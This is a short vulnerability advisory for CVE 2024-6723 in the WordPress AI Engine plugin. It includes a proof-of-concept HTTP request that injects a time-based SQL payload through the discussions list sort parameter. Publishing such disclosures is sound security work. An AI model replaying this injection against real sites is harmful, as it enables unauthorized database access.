AI Engine < 2.4.8 – Admin+ SQLi | CVE 2024-6723

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by admin users when viewing chatbot discussions.

Proof of Concept

- Ensure "Discussions" option is enabled under "Settings > Chatbot > Discussions"
- Send the request below:

```
POST /wp-json/mwai/v1/discussions/list HTTP/1.1
Host: 192.168.178.143
Content-Length: 379
X-WP-Nonce: 660f9ed87c
Content-Type: application/json
Accept: */*
Origin: http://192.168.178.143
Referer: http://192.168.178.143/wp-admin/admin.php?page=mwai_settings&nekoTab=discussions
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [Admin+ Cookie]
Connection: keep-alive

{
  "filters": [
    {
      "accessor": "user",
      "value": null
    },
    {
      "accessor": "botId",
      "value": null
    },
    {
      "accessor": "preview",
      "value": null
    }
  ],
  "sort": {
    "accessor": "created OR (SELECT 1 FROM (SELECT(SLEEP(7)))prism_infosec)",
    "by": "desc"
  },
  "page": 1,
  "limit": 10,
  "offset": 0
}
```